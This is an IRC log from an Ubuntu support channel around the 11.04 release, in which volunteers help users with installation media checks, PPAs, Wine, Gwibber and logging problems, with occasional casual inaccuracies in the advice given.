[06:43] <zabyl> anyone using btrfs with 11.04 Server x64?
[06:43] <pie_> rejected send message, 1 matched rulelots of stuff hat would take a long time to type
[06:45] <zabyl> need help with btrfs bugs in 11.04 server
[06:47] <Herbs> pie_ service gdm start > output.txt then upload to pastebin
[06:47] <Dark_Link> can some one pleez tell me how to add these 2 sources deb http://ppa.launchpad.net/ubuntu-x-swat/x-retro/ubuntu lucid main
[06:47] <Dark_Link> deb-src http://ppa.launchpad.net/ubuntu-x-swat/x-retro/ubuntu lucid main
[06:47] <Dark_Link> i cand add them for my lifr for some reason
[06:48] <marenostrum> Interesting. When did I say Firefox to remember my pass for Launchpad? I don't like this. Maybe by an accident but I don't like this!
[06:48] <zabyl>  ext2 /boot  btrfs / works with 10.10 Server x64
[06:48] <Herbs> Im not promising to help I know nothing about gui but just troubleshooting steps
[06:48] <Starminn> marenostrum: So tell it not to.
[06:48] <zabyl> kernel bugs with 11.04
[06:48] <FHtrain> i dont know what happened i can no longer log on to wubi. when i boot and choose ubuntu, it says something about TAB and i cant log on. and when i connect the drive with wubi installed to another ubuntu os, i can only find the windows files. what happened to the ubuntu files?
[06:49] <Dark_Link> herbs do you know how to add sources/
[06:49] <Dark_Link> ?
[06:49] <sunshine1> be more specific,FHtrain
[06:49] <Herbs> dark_link as in add to repo list
[06:49] <sunshine1> wat is this TAB??
[06:49] <marenostrum> Starminn, I will do so but first I want to see if it remembered it against my will. I want to check (I don't know how to test :) )
[06:49] <Dark_Link> yes like via terminal
[06:50] <Dark_Link> i cant seem to get it right
[06:50] <gordolinux> is it possible to configure a per workspace spread mode in ubuntu?
[06:50] <Starminn> marenostrum: Delete all form data and current logins, then try to replicate it.
[06:50] <gordolinux> i don't like seeing all my windows at once.
[06:51] <Herbs> dark_link open /etc/apt/sources.list
[06:51] <duende> hola buenas noches
[06:51] <Dark_Link> opened
[06:51] <marenostrum> Starminn, Yea. Thanks.
[06:51] <duende> alhuien sab de xubuntu???
[06:51] <duende> *alguien?
[06:51] <duende> xubuntu?
[06:51] <FHtrain> sunshine1,  in the command line it gives me option to type TAB and when i do, i see all these commands i dont understand
[06:51] <Herbs> dark_link and add the repo usually iirc deb http://repo
[06:52] <pie_> i got it
[06:52] <pie_> of all things i forgot sudo
[06:52] <Starminn> !xubuntu | duende
[06:52] <ubottu> duende: Xubuntu is Ubuntu with Xfce instead of !GNOME. More info at http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: « sudo apt-get install xubuntu-desktop » - Join #xubuntu for support - See also: !Ubuntu and !Xubuntu-Channels
[06:52] <pie_> and i finally found where toset the layout at login
[06:52] <pie_> thanks
[06:52] <duende> ubottu gracias!! :D
[06:53] <pie_> someting still doesnt seem right though...
[06:53] <zabyl> anyone can help with btrfs bug in 11.04
[06:53] <duende> I know xubuntu but i have problem
[06:53] <Herbs> dark_link you will need to add the key also but Im not that familiar with apt Ive been a slackware/redhat (based user) so used to yum
[06:53] <Dark_Link> ya and thats what im failing at
[06:53] <duende> starminn thak you
[06:53] <STF> how can i change the keymaps, cause the installationroutine give me the english one an not the german
[06:53] <Dark_Link> i cant seem to add the key right
[06:53] <duende> alquien habla español ???
[06:53] <q0_0p> anyone know how to install unity on 10.04?
[06:54] <bazhang> !es | duende
[06:54] <digitech> does anyone know of a terminal/DOS looking theme for mIRC?
[06:54] <ubottu> duende: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[06:54] <Starminn> !espanol | duende
[06:54] <Dark_Link> unity comes installed
[06:54] <Starminn> Dark_Link: 10.04
[06:54] <duende> gracias!!! :D voy a un canal en Ñ
[06:54] <q0_0p> Dark_Link, really?
[06:54] <Starminn> q0_0p: No. He misread
[06:54] <Dark_Link> yes
[06:55] <Starminn> duende:  /join #ubuntu-es
[06:55] <q0_0p> Dark_Link, menu doesn't look the same like unity
[06:55] <Dark_Link> isnt the bar part of unity/
[06:55] <STF> how can i change the keymaps, cause the installationroutine give me the english one an not the german
[06:55] <Dark_Link> oh duno then
[06:55] <dspace> Dark_Link: The instructions to add the PPA are here: https://launchpad.net/~ubuntu-x-swat/+archive/x-updates
[06:55] <Starminn> Dark_Link: As I said, he said 10.04. Not 11.04.
[06:55] <Dark_Link> yes and im failing some how
[06:56] <dspace> Dark_Link: Basically, type: sudo add-apt-repository ppa:ubuntu-x-swat/x-updates
[06:56] <dspace> then: sudo apt-get update
[06:56] <Dark_Link> X(
[06:56] <Dark_Link> ty
[06:56] <glacia> ok i think i need some help..... somethings not right with my system
[06:56] <Starminn> !details | glacia
[06:56] <ubottu> glacia: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[06:58] <q0_0p> 2.6.32-31-generic #61-Ubuntu SMP Fri Apr 8 18:24:35 UTC 2011 i686 GNU/Linux
[06:58] <q0_0p> using ubuntu 10.04 LTS
[06:58] <sjuxax> I am using natty server in a VM. I cahnged the MAC address from what it was installed with and now eth0 won't appear. How do I fix this? I've tried dpkg-reconfigure network to no win
[06:58] <Herbs> q0_0p you have updated the kernel thats all
[06:59] <STF> how can i change the keymaps, cause the installationroutine give me the english one an not the german
[06:59] <Dark_Link> dspace, 'xserver-xorg-video-intel-2.4'
[06:59] <Dark_Link>  :(
[06:59] <pie_> i found something quite problematic with selecting the classic layout on login,theres no window frames just thw windows
[06:59] <duende> Starminn gracias! ya estoy ahí. Thack you I am there
[06:59] <q0_0p> Herbs, not understanding
[06:59] <Dark_Link> cant find it
[06:59] <q0_0p> Herbs, are you saying i should update the kernel?
[06:59] <pie_> any popups and such from firefox etc dont have minimize, exit maximize or move
[06:59] <Herbs> q0_0p your kernel has updated so thats why grum menu has changed
[06:59] <Herbs> grub*
[06:59] <Starminn> duende: De nada.
[07:00] <sjuxax> lspci shows it as an Ethernet controller, but does not show in ifconfig
[07:00] <glacia> i dont think i have all the drivers or something..... I have a great system that can handle anything but for some reason running ubuntu and games on wine its not up to par
[07:00] <q0_0p> Herbs, not having any troubles with grub
[07:00] <q0_0p> Herbs, just wondering if there was a package for unity
[07:00] <dspace> Dark_Link: What are you trying to do exactly?
[07:00] <main> grup what is that
[07:00] <Dark_Link> downgrade the video drivers for performance
[07:01] <Dark_Link> my intell gma 945 just fails
[07:01] <Dark_Link> cant play simple youtube
[07:01] <Dark_Link> let alone 3d edditing
[07:01] <Herbs> q0_0p theres a package for any software
[07:01] <dspace> Dark_Link: What version do you have and what version are you trying to get?
[07:03] <Dark_Link> im trying to get 2.4
[07:03] <pie_> *sigh*
[07:03] <Herbs> dark_link 2.4 kernel ?
[07:03] <Dark_Link> drivers
[07:03] <inimeg> < drunk linux user
[07:05] <glacia> honestly i think i just need an ubuntu advisor or tutor i can talk to lol
[07:06] <jack123> hello i am back
[07:06] <jack123> chaospsyX you there.?
[07:07] <chaospsyX> im here
[07:07] <chaospsyX> so what happened
[07:07] <Dark_Link> and i have X.Org X server -- Intel i8xx, i9xx display driver o.o
[07:07] <jack123> marenostrum.
[07:07] <jack123> i am on ubuntu
[07:07] <Liera> good aternoon everyone!
[07:07] <jack123> its working with live cd
[07:07] <chaospsyX> what took so long ?
[07:08] <chaospsyX> ;-)
[07:08] <jack123> not working with installed
[07:08] <marenostrum> jack123, Yes Jack. I'm here.
[07:08] <jack123> i am trying to figure out
[07:08] <chaospsyX> are you doing a dual-boot? or giving ubuntu  the whole hdd
[07:08] <jack123> its working it live usb but not working while i install it
[07:08] <Herbs> jack123 reinstall you did soemething wrong last time getting to the bottom of what would take longer than a reinstall
[07:08] <jack123> i am giving whole 160 gb
[07:08] <jack123> to ubuntu
[07:09] <chaospsyX> reinstall
[07:09] <marenostrum> jack123, What is the ISO you have at hand? name? bd5sum?
[07:09] <jack123> damn this is strange . internet works on live cd but doesnt work after installation
[07:09] <Dark_Link> i see the package isnt in that source
[07:09] <jack123> ubuntu 11.04 amd 64 bit
[07:10] <luckysmack> when running 'apt-get update' is it possible to only update a single source/repository?
[07:10] <duende> hi!!
[07:10] <duende> I can not see a video maximized without restarting the graphical environment
[07:10] <duende> :(
[07:10] <marenostrum> jack123, You are sure that 64 bit is OK for you?
[07:10] <duende> in xubuntu 11.04
[07:10] <jack123> yeah i am sure its working with the live usb
[07:11] <jack123> how to find out system specs on linux i will copy paste here
[07:11] <Clerisy> what software can i use to format a usb with an os?
[07:11] <Herbs> jack123 top and copy the main bit at the top if that makes any sense
[07:11] <marenostrum> jack123, Interesting but now we know that it works with live CD so we should try to find what is different with the installed system. Friends, any idea to check?
[07:12] <chaospsyX> Clerisy: http://www.google.com/url?sa=t&source=web&cd=1&ved=0CBYQFjAA&url=http%3A%2F%2Fwww.pendrivelinux.com%2Funiversal-usb-installer-easy-as-1-2-3%2F&rct=j&q=pendrivelinux%20123&ei=ppy_Tc-gCoPpgQf_t9jbAg&usg=AFQjCNGdSazRNs32lEZo8ZfvenfYK9ML_A&cad=rja
[07:12] <glacia> i really need help figuring out why my top of the line computer is failing to run a steam game like it did in windows
[07:12] <chaospsyX> oops
[07:12] <FloodBot1> chaospsyX: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:12] <jack123> yeah interesting for me as well
[07:12] <Herbs> galacia steam wont work on linux its written for windows
[07:12] <main> Herbs you called me?
[07:12] <glacia> even with wine or playonlinux
[07:12] <chaospsyX> i have no idea, try a reinstall
[07:13] <jack123> if re install doesnt works :(
[07:13] <Herbs> main no might have typed main :)
[07:13] <Clerisy> chaospsyX» thats an .exe
[07:13] <marenostrum> jack123, Did it ask anything such as kernel etc. during installation?
[07:13] <chaospsyX> you trying to make a live usb stick ?
[07:13] <jack123> yeah it did ask but i selected the defaults 1
[07:13] <Clerisy> yes ch
[07:13] <Clerisy> chaospsyX»
[07:13] <Clerisy> under linux though
[07:13] <jack123> though i got 4 kernels
[07:13] <marenostrum> jack123, ı see.
[07:14] <chaospsyX> download unetbootin then clerisy
[07:14] <glacia> Herbs, even with wine or playonlinux. the Playonlinux is what steam says to use
[07:14] <jack123> wait i will show you
[07:14] <duende> hi... i have a problem with xubuntu ...
[07:14] <Clerisy> thanks
[07:14] <duende> anybody?? ...
[07:14] <chaospsyX> yes please jack,want to see this
[07:14] <Herbs> glacia wine would be your best bet but Im not a windows user sorry
[07:14] <jack123> install ubuntu wont close this i guess.?
[07:14] <chaospsyX> i don't think so, Herbs ?
[07:15] <marenostrum> jack123, On both the live CD and the installed system what is the result of uname -a . I mean, lets try to check the kernel versions.
[07:15] <Herbs> glacia but If it uses .net then you might as well forget it
[07:15] <jack123> how ot do that
[07:15] <chaospsyX> jack do you have another usb stick? your going to need to save the screen capture some how to upload it
[07:15] <chaospsyX> open the terminal jack
[07:15] <glacia> can wine or some program be used to play WoW?
[07:15] <chaospsyX> applications > accesories > terminal
[07:16] <Dark_Link> wow
[07:16] <DaHopi> hello, in 11.04 (unity) my left panel doesnt hide if i maximize my app window..
[07:16] <chaospsyX> type uname -a
[07:16] <Dark_Link> it is just as bad
[07:16] <chaospsyX> do the same command once you install
[07:16] <Maahes> what's 11.04's name?
[07:16] <misse-> Natty Narwhal Maahes
[07:16] <jack123>  Linux ubuntu 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:24 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
[07:16] <Maahes> glacia: yes, wine can play wow, there's a wiki for setting it up
[07:16] <Maahes> misse-: thankyou
[07:17] <glacia> Maahes, link to the wiki please?
[07:17] <marenostrum> jack123, was that one for the installed?
[07:17] <Maahes> glacia: google wine hq for list of games supported and look for wow, there's a link there.
[07:17] <Starminn> !wineh1 | glacia
[07:17] <Starminn> !winehq | glacia
[07:17] <ubottu> glacia: WINE is a compatibility layer for running Windows programs on GNU/Linux - More information: https://help.ubuntu.com/community/Wine - Search the !AppDB for application compatibility ratings - Join #winehq for application help - See !virtualizers for running Windows (or another OS) inside Ubuntu
[07:17] <chaospsyX> jack123: when you installed and got to partitioning what did you select? 'use entire disk' ?
[07:17] <jack123> you mean 2.6.38.8.?
[07:17] <jack123> yes entire disk
[07:18] <duende> hola?? ...
[07:18] <chaospsyX> jack123: you need to check the md5 of the iso image
[07:18] <chaospsyX> and see if they match
[07:18] <duende> tengo problemas con el video de xubuntu ... alguien me puede colaborar??
[07:18] <jack123> hmm
[07:18] <Starminn> duende: Va a #ubuntu-es.
[07:19] <marenostrum> jack123, lets check md5sum of the ISO now.
[07:19] <Spaz_Dynamic> alright, my friend is having issues with his computer, yet he feels that his knowledge of linux is insufficient for him to come to the IRC channel and ask for help, so I'm going to for him since I'm not sure what is up. He has a dual boot, windows 7 64bit and ubuntu 32bit. when he boots, he gets a "select OS" screen, and then when he chooses ubuntu, he gets taken to grub2, where he has to choose ubuntu again, but this leads to a blank
[07:19] <Spaz_Dynamic> screen with a blinking cursor and nothing happens (note that this was after he attempted to upgrade from 10.10 to 11.04), choosing windows takes him back to the first boot selection, and choosing windows from there boots windows 7. He installed windows 7 first, and then ubuntu on a different partition on the same hard drive.
[07:19] <jack123> ok
[07:19] <marenostrum> jack123, do you know how to do?
[07:19] <Herbs> jack123  2.6.38-8-generic  what install are you using?
[07:19] <jack123> nope
[07:19] <Herbs> thats an old kernel
[07:19] <jpohl> how do i change gdm theme/appearance in xubuntu?
[07:20] <Dark_Link> X( netbook suport still fails in ubuntu
[07:20] <marenostrum> jack123, Opğen a terminal go to where the ISO is. write md5sum nameoffile.iso
[07:21] <jack123> ok  thanks
[07:21] <marenostrum> I'm waiting here. lets solve this.
[07:21] <jack123> i am not able to open windows  disk
[07:21] <jack123> its in tuere
[07:21] <jack123> its in there
[07:21] <chaospsyX> on another computer?
[07:21] <skyion> Hi Guys
[07:21] <misse-> jpohl: http://www.ubuntu-tennessee.org/tutorials/205/ <-- that will make your loginscreen spawn the gnome-appearance window, so just change the background and login
[07:21] <jack123> though i am able to open external hard disk
[07:21] <chaospsyX> or another disk in same computer case?
[07:22] <skyion> is there a problem with the ubuntu repo? http://paste.ubuntu.com/602636/
[07:22] <jack123> ok i am able to open installation  locked it
[07:22] <chaospsyX> jack123: ?
[07:22] <marenostrum> jack123, There's a tool for windows you can find from download.com : md5summer . You can get md5sum of the ISO with that.
[07:23] <chaospsyX> do you have two hard-drives in the computer jack?
[07:23] <Herbs> skion cleaning the cache may work whatever the alternative yo yum clean all is for apt
[07:23] <duende> hi, i have a problem with xubuntu,  I can not see a video maximized without restarting the graphical environment
[07:23] <jack123> ok it working
[07:23] <duende> help....
[07:23] <Starminn> duende: Have you tried asking in #xubuntu.
[07:23] <duende> i have xubuntu 11.04
[07:23] <skyion> I have tried the za and gb and main mirror but seems to always bomb out on http://gb.archive.ubuntu.com natty/main
[07:23] <skyion> Herbs: tried clearing cache & different mirrors but same problem.
[07:24] <jpohl> misse-: the very first command on that page gives me "No such file or directory"
[07:24] <duende> starmoin ok
[07:24] <duende> starminn ok
[07:24] <skyion> apt-get clean && rm -rf /var/lib/apt/lists/partial/*
[07:25] <jack123> how to copy the location of the file
[07:25] <jack123> i can see the file
[07:25] <chaospsyX> are you seeing it in ubuntu ?
[07:25] <jack123> yes
[07:26] <jack123> team viewer works on ubuntu
[07:26] <jack123> .?
[07:26] <chaospsyX> the usb stick is read-only
[07:26] <bullgard4> jack123: Yes.
[07:26] <chaospsyX> when in live mode
[07:26] <jack123> chaos give me desktop support
[07:26] <jack123> remote desktop
[07:26] <Herbs> skion thanks, hmm not sure what youd do from this point with apt as I dont believe it has a verify option like yum
[07:27] <chaospsyX> my connection is too slow right now too do that
[07:27] <jack123> ok i guess i have to log in windows again
[07:27] <jack123> brb
[07:27] <chaospsyX> jack123: does windows have the entire disk ? the other disk that it is on
[07:27] <chaospsyX> wait
[07:27] <chaospsyX> windows have entire disk ?
[07:27] <jack123> yes 500 gb
[07:28] <chaospsyX> it has all 500gb?
[07:28] <jack123> and i am trying to install ubuntu on 160 gb
[07:28] <jack123> no its has 4 paritions 100 gb each  of 500 gb
[07:28] <traskers> I'm running Gnome Shell in 11.04, but I can't seem to get Gnome Tweak Tool to see my themes that I put in /usr/share/themes, can anyone help?
[07:28] <chaospsyX> ok reboot into windows and download md5sum and get the md5 of the ubuntu iso
[07:28] <chaospsyX> write it down
[07:28] <chaospsyX> and come back
[07:29] <chaospsyX> google md5sum program
[07:29] <marenostrum> jack123, md5summer
[07:29] <jack123> ok
[07:29] <Herbs> 4 100gb partitions why?
[07:30] <Herbs> and which are primary and which are logical whats the partition structure?
[07:30] <chaospsyX> i have temperature and weather checked but it's not showing up on the panel ?
[07:30] <amitush> someone here knows how to install edimax pci wireless card?
[07:31] <chaospsyX> Herbs, when i tried Fedora it did a LVG for partitioning,what is that?
[07:31] <amitush> cause i cant install it
[07:31] <chaospsyX> it took up the entire hd but said there was free space ?
[07:31] <chaospsyX> it is like extended parts inside a logical part?
[07:31] <amitush> i have this card: EW-7711In
[07:32] <Herbs> chaospsyX without going into details its similar to raid0
[07:33] <Herbs> but its logical
[07:33] <chaospsyX> oh
[07:34] <bullgard4> Where can I find the logs of yesterday's ubuntu-classroom lessons?
[07:34] <Rehan> could someone help me copy my ubuntu installation on a partition on my hard drive to my USB flash drive?
[07:34] <Herbs> Ive not used it much but partition resizing is more reliable
[07:35] <bullgard4> !details | Rehan
[07:35] <ubottu> Rehan: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[07:35] <boomboorum> Gwibber does not load twitter messages and does not post anything.
[07:35] <boomboorum> When run from terminal I get :
[07:35] <boomboorum> ERROR:dbus.proxies:Introspect error on com.Gwibber.Messages:/com/gwibber/Messages: dbus.exceptions.DBusException: org.freedesktop.DBus.Error.ServiceUnknown: The name com.Gwibber.Messages was not provided by any .service files
[07:35] <boomboorum> (gwibber:3041): LIBDBUSMENU-GTK-DEBUG: Could not handle image type 6
[07:35] <boomboorum> and for  $gwibber-service -d -o
[07:35] <FloodBot1> boomboorum: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:36] <boomboorum> My gwibber does not load any messages:
[07:36] <boomboorum> http://pastebin.com/dJ20TXZv
[07:36] <miki> ciao
[07:36] <Rehan> bullgard4: I have ubuntu 11.04 installed on one 10gb partition of my laptop's hard drive along with Win7 on another partition (490gb). Grub2 is on the MBR. I would like to duplicate my 10GB ubuntu install onto my 16GB flash memory drive and make it so that I could boot from it. I'm not very skilled but am eager to learn.
[07:36] <marenostrum> Herbs, You told jack123 that  2.6.38-8-generic is an old kernel but its the same with mine. Its what for Natty for me as well. And I have a working up to date system. Did I miss something?
[07:37] <jack123> hi am back
[07:37] <boomboorum> And when I it from terminal I get  http://pastebin.com/ZLTea4EW
[07:37] <marenostrum> jack123, yess
[07:37] <Herbs> marenostrum I issed the *.*.38* I was thinking 32
[07:38] <DaHopi> http://img534.imageshack.us/f/launcheru.jpg/ "launcher" does not hide on maximized window..
[07:38] <marenostrum> jack123, What's md5sum?
[07:38] <bullgard4> boomboorum: You could purge your Gwibber and re-install without theFacebook plugin first. See if that works.
[07:39] <boomboorum> bullgard4:  not sure how to do that. What is purge?
[07:39] <Herbs> dpkg -p package
[07:39] <jack123> 7DE611B50C283C1755B4007A4FEB0379 *ubuntu-11.04-desktop-amd64.iso
[07:39] <jack123> perfect.?
[07:40] <bullgard4> boomboorum: to purge - to completely remove (the package, using for example Synaptic). Ok?
[07:41] <boomboorum> bullgard4:   ok, thanks
[07:41] <Rehan> I have ubuntu 11.04 installed on one 10gb partition of my laptop's hard drive along with Win7 on another partition (490gb). Grub2 is on the MBR. I would like to duplicate my 10GB ubuntu install onto my 16GB flash memory drive and make it so that I could boot from it. I'm not very skilled but am eager to learn.
[07:41] <marenostrum> jack123, I'm trying to gind . If any friend has it, check. or wait some please.
[07:41] <jack123> yeah i am waiting
[07:41] <michele> ciaooo
[07:42] <chaospsyX> i'm thinking the md5 is off
[07:42] <chaospsyX> and your going to have to re-download the iso
[07:42] <michele> list
[07:42] <jack123> are you sure chaos.?
[07:43] <chaospsyX> wait, let marenostrum see what the md5 is
[07:43] <bullgard4> Rehan: Try to use System > Administration > Startup Disk Creator
[07:43] <chaospsyX> if they match
[07:43] <jack123> how to find out the original md5.?
[07:43] <Starminn> Herbs: dpkg -p <package> versus sudo apt-get purge <package>?
[07:44] <chaospsyX> there is a file
[07:44] <mk0> did anyone meet the error with ICEauthority after gnome3 installation on 11.04?
[07:44] <Herbs> starminn not to sure tbh Im used to yum and just getting used to ubuntu but Ive used debian before so would use dpkg but thats a personal preference
[07:44] <mk0> jack123, unetbootin.
[07:45] <chaospsyX> jack123:  checking now
[07:45] <mk0> better with not used usb flash or cd
[07:45] <jack123> ok
[07:45] <Rehan> bullgard4: that asks for an ISO...is there a way to do it using dd?
[07:45] <chaospsyX> jack123: they match
[07:46] <chaospsyX> what program did you use to make the usb ?
[07:46] <bullgard4> Rehan: There is. But I do not know any details.
[07:46] <Starminn> Herbs: Ah.
[07:47] <jack123> coool
[07:47] <chaospsyX> remake the usb with unetbootin jack
[07:47] <Maahes> is there a way to tell Synaptic to just download, and not install marked packages?
[07:47] <marenostrum> jack123, md5sum is correct.
[07:47] <bullgard4> Rehan: One dd command alone is not enough.
[07:47] <jack123> i used the same which stated on the ubuntu website
[07:47] <jack123> yeah thanks marenostrum
[07:47] <jack123> so whats next
[07:48] <Rehan> bullgard4: whats that mean
[07:48] <chaospsyX> remake the usb
[07:48] <chaospsyX> use unetbootin
[07:48] <jack123> ok
[07:48] <marenostrum> jack123, original here: http://releases.ubuntu.com/natty/MD5SUMS
[07:48] <chaospsyX> make sure you format the usb
[07:48] <jack123> ok
[07:48] <chaospsyX> as fat32
[07:48] <mk0> jack123, use only new usb flash or cd. or you will get errors constantly.
[07:48] <jack123> usb only supports fat32
[07:49] <chaospsyX> oh,lol
[07:49] <jack123> ha ha ha
[07:49] <mk0> or good quality.
[07:49] <chaospsyX> can you burn discs jack ?
[07:49] <jack123> yes i can
[07:49] <chaospsyX> burn the iso to a cd
[07:49] <jack123> shall i burn .?
[07:49] <chaospsyX> frees up the usb too
[07:50] <chaospsyX> yeah burn it and install it
[07:50] <bullgard4> Rehan: That means that you will have to do more operations than one dd command. Because the data on an USB stick is organized differently from a hard disk partition.
[07:50] <chaospsyX> burn as a data disc
[07:50] <jack123> i burn using alochol
[07:50] <chaospsyX> ok
[07:51] <jack123> ok is there any usb which supports ntfs.?
[07:51] <marenostrum> jack123, here's also how to do it briefly: http://www.ubuntu.com/download/ubuntu/download Look at the burn VD section
[07:51] <marenostrum> * CD
[07:52] <jack123> ok
[07:52] <chaospsyX> i've had problems with usb installations
[07:52] <bullgard4> Where can I find the logs of yesterday's ubuntu-classroom lessons?
[07:52] <BajK> hey, how can I rotate an image using bash script? I read something about jpeg tools but, so I need a specific tool for each file type? the program should be installed right away if possible
[07:52] <jack123> brb
[07:52] <chaospsyX> k
[07:52] <marenostrum> jack123, waiting. Take your time.
[07:52] <Maahes> I have had zero problems with the pendrive linux installer
[07:52] <llutz> BajK: convert from imagemagick-package can do
[07:53] <Herbs> ! elaborate | bajk
[07:53] <ubottu> bajk: Please elaborate, your question or issue may not seem clear or detailed enough for people to help you. Please give more detailed information, errors, steps, and possibly configuration files (use the !pastebin to avoid flooding the channel)
[07:53] <serif> hello good morning all
[07:53] <Maahes> BajK: imagemagick (This message has been postponed.)
[07:53] <marenostrum> Sereph, Good morning
[07:53] <foodstamp> bullgard4  https://wiki.ubuntu.com/ClassroomTranscripts
[07:53] <BajK> ah nice :)
[07:53] <BajK> thx
[07:53] <BajK> so this works with all the common file formats (jpeg and png) ?
[07:53] <marenostrum> serif, Good morning!
[07:53] <Maahes> BajK: and many more.
[07:53] <BajK> nice :)
[07:54] <serif> how can i back to old menu in unity?pls
[07:54] <lysander89> hi guys, trying to do a natty upgrade, i get an error unable to fetch binary-i386/packages.bz2 due to hash sum mismatch. Any tips?
[07:54] <Maahes> Does anyone know if synaptic can be told to do a download only, rather than install?
[07:54] <Herbs> serif log out and select ubuntu classic as desktop before you login
[07:54] <serif> ok bro tahnx alot
[07:55] <Maahes> Herbs: totally brotacular.
[07:56] <Herbs> mahees :)
[07:57] <bullgard4> foodstamp: This refers to the year 2006. What I am asking for is logs of yesterday's classes.
[07:58] <marenostrum> jack123, Are you here? Burn the CD as an ISO image; NOT data cd.
[07:58] <jack123> yeah i am there i am burning the image
[07:59] <Herbs> thigers crossed for you jack123
[07:59] <Herbs> fingers even
[07:59] <Herbs> spent to long programming lol
[08:01] <marenostrum> chaospsyX, you2ve metioned by mistake "burn as a data disc". I realized it now. Hope he reads the page I gave. ubuntu howto for tISO burning.
[08:01] <DocPlatypus> situation: box has been running 9.10 until a couple days ago, when I decided to finally upgrade to 10.04 LTS. ever since then I have had sound switching over to "dummy output" for no reason I can figure out. where to begin troubleshooting this and/or how do I get it back to my soundcard when it does?
[08:02] <marenostrum> chaospsyX, ot should obviously be NOT data BIT ISO image.
[08:02] <marenostrum> *but
[08:03] <jack123> no its not mare
[08:03] <noo> hello I was wondering what exactly is saved in the locatedb, because I know that programs like these application quick launchers use them to find the commands. I tried to write such a thingy for fun using /usr/bin and /usr/sbin as my sources for applications, but somehow there are quiet a lot of things that are not really needed to be found by this kind of an application and that aren't found by common ones.Do they search in different places o
[08:03] <noo> r do they just filter in a proper way?
[08:03] <Herbs> docplatypus please provide your kernel version , and hardware information I cant help with desktop issues but it will help those that can
[08:03] <marenostrum> jack123, Why?
[08:03] <jack123> i am burning the iso directly
[08:03] <jack123> same process which you stated
[08:03] <chaospsyX> good
[08:04] <marenostrum> jack123, OK it means you are burning as an image not as a data CD.
[08:04] <jack123> yeah i am burning it as an image at slow speed
[08:04] <DocPlatypus> Herbs: sure. kernel -- 2.6.32-31-generic, audio -- 00:1f.5 Multimedia audio controller: Intel Corporation 82801AA AC'97 Audio Controller (rev 02)
[08:04] <chaospsyX> yeah follow the page he pointed you to jack on burning iso
[08:04] <chaospsyX> k
[08:04] <jack123> ok burning finished
[08:04] <marenostrum> jack123, OK. Perfect. Its what it should be.
[08:04] <chaospsyX> install that sucka
[08:04] <jack123> ha ha
[08:05] <jack123> yeah that sucka wasted hell lotta time of mine
[08:05] <marenostrum> jack123, While installing, if you like, check CD for defects. There's such a option at first. lets guarantee.
[08:07] <jack123> ok
[08:07] <jack123> brb after the install
[08:07] <marenostrum> jack123, waiting.
[08:07] <mk0> did anyone meet the error with ICEauthority after gnome3 installation on 11.04?
[08:07] <abhinav_singh> is there any good charting tool for openoffice calc?
[08:08] <Herbs> mk0 sounds like a bug
[08:09] <marenostrum> mk0, I didn't try but for gnome3 is not an official package right now... hard to say something.
[08:14] <Browser> Good Moorning
[08:14] <freakynl> Hi, I have 2 q's. I upgraded a 10.10 server edition to 11.04, ever since /var/log/messages is empty, is that normal? Restarting rsyslogd also doesn't make entries appear (syslog etc. are being logged to)
[08:15] <freakynl> secondly, I notice my md sets get a rebuild signal (probably for scrubbing). Has anyone any idea how that gets started? Don't see much in the crontabs except a scan to check if they haven't been degraded and no settings concerning it in mdadm.conf either
[08:16] <marenostrum> Browser, Hi!
[08:16] <Herbs> freakynl it would be empty after an upgrade I think
[08:16] <Joker_99> thats one thing i hate about irc everyone in the support rooms says "google it" or speak proper english (after they dont talk for 3 hours)
[08:16] <freakynl> Herbs: it's been 4 days
[08:16] <freakynl> Joker_99: depends on the support room, or well, mostly the active people in it
[08:17] <marenostrum> Joker_99, I won't say that. :) Question?
[08:17] <Herbs> freaknyl are you running an ftp server?
[08:18] <freakynl> Herbs: vcftpd is running, (no clue why... I never added it to start automatically) but it isn't reachable (firewalled :D)
[08:19] <Herbs> freaknyl /var/log/messages would log ftp connections so soething is wrong
[08:19] <Herbs> freaknyl what happens when you ftp localhost from the box
[08:19] <bullgard4> freakynl: My /var/log/messages has been filled the last time on Mar 17, 2011. (*surprise*)
[08:20] <freakynl> bullgard4: that seems rather impossible, unless your clock is inaccurate
[08:20] <Joker_99> yeah freeakynl ive seen it in every room ive been to so far except 1
[08:20] <Herbs> freaknyl would you mind giving me the servers ip?
[08:20] <freakynl> #gentoo is usually fine, most people newer to the internet seem to prefer forums tho', I've been using irc since 1995 :)
[08:20] <bullgard4> freakynl: My clock is accurate.
[08:21] <freakynl> Herbs: err yes :) it's firewalled too as stated you won't be able to reach anything anyways
[08:21] <Joker_99> i like #nmap its pretty slow thogh
[08:21] <red> I'm using ubuntu at work and wondering if I should upgrade to Natty? Could not find much info about what kind of files\settings I should back up
[08:21] <Herbs> freaknyl so whats the server doing and I assume its serving a local network?
[08:22] <luqui> How do I tell metacity not to run.  I'm using a different window manager, and it is causing my CPU to be eaten up.
[08:22] <freakynl> Herbs: it's running a java application. it should have filled messages at boot tho', it didn't. it does get rotated
[08:22] <luqui> but if i kill it it just respawns, and there is no option for it in gnome-session-properties
[08:22] <bullgard4> red: You should not. Better wait and see if the many bugs get fixed.
[08:23] <Herbs> freaknyl what writes the logs the java app?
[08:23] <niklasfi> has anyone installed gnome3 and is not able to sudo any longer?
[08:23] <Herbs> gnome3 will not affect sudo
[08:24] <gaurav_help> how i trace the which my application is connected with net or current activity of application
[08:24] <niklasfi> Herbs: well... it does. i cannot sudo in gnome-shell but i can in tty1
[08:24] <marenostrum> red, You can upgrade. You should backup your perdonal data files if you like to be on the safe side, especially if you don't have a seperate home partition. You don't need to backup any setting as far as I know.
[08:24] <niklasfi> Herbs:*gnome-terminal
[08:24] <freakynl> no rsyslogd should write the logs, normally hits on the firewall (which is everything except 2 ports from 2 specific IPs) get logged in messages too, this no longer happens either (and dmesg is *filled* with firewall hits)
